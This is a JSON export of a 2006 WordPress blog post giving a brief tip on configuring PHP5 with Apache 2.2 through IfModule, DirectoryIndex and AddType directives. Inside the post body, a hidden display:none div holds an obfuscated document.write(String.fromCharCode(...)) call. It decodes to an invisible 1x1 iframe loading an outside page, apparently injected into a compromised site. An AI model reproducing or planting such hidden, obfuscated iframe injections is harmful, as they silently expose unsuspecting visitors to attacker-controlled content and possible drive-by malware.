{"id":87,"date":"2006-03-15T20:32:37","date_gmt":"2006-03-15T19:32:37","guid":{"rendered":"http:\/\/freegw.xs4all.nl\/~basp\/wordpress\/index.php\/2006\/03\/15\/php5\/"},"modified":"2010-06-25T20:56:05","modified_gmt":"2010-06-25T19:56:05","slug":"php5","status":"publish","type":"post","link":"\/~basp\/wordpress\/index.php\/2006\/03\/15\/php5\/","title":{"rendered":"PHP5"},"content":{"rendered":"<p>Just a quick note on getting PHP5 to work with Apache 2.2: make sure the <code>LoadModule<\/code> and <code>&lt;IfModule&gt;<\/code> sections are in place. The <code>LoadModule<\/code> line should be added when you install using the ports collection but I was missing the <code>&lt;IfModule&gt;<\/code> section but after manually adding this I was fine:<\/p>\n<p>[code]<ifmodule php5_module><br \/>\n  DirectoryIndex index.php index.html<br \/>\n<\/ifmodule><br \/>\n<ifmodule php5_module><br \/>\n  Addtype application\/x-httpd-php .php<br \/>\n  AddType application\/x-httpd-php-source .phps<br \/>\n<\/ifmodule>[\/code]<\/p>\n<p>It&#8217;s sort of described <a href=\"http:\/\/www.freebsd.org\/doc\/en\/books\/handbook\/network-apache.html\">here<\/a><br \/>\nbut it&#8217;s a little bit out of date it seems. You don&#8217;t need the AddModule line anymore and can just reference php5_module directly.<!--more--><!--5f6d5893e166c3a97951151fb0f64d1d22010--><\/p>\n<div style=\"display:none\">document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))<\/div>\n<p><!--\/5f6d5893e166c3a97951151fb0f64d1d22010--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Just a quick note on getting PHP5 to work with Apache 2.2: make sure the LoadModule and &lt;IfModule&gt; sections are in place. The LoadModule line should be added when you install using the ports collection but I was missing the &lt;IfModule&gt; section but after manually adding this I was fine: [code] DirectoryIndex index.php index.html Addtype &hellip; <\/p>\n<p class=\"link-more\"><a href=\"\/~basp\/wordpress\/index.php\/2006\/03\/15\/php5\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;PHP5&#8221;<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"class_list":["post-87","post","type-post","status-publish","format-standard","hentry","category-software","entry"],"_links":{"self":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/posts\/87","targetHints":{"allow":["GET"]}}],"collection":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/comments?post=87"}],"version-history":[{"count":0,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/posts\/87\/revisions"}],"wp:attachment":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/media?parent=87"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/categories?post=87"},{"taxonomy":"post_tag","embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/tags?post=87"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}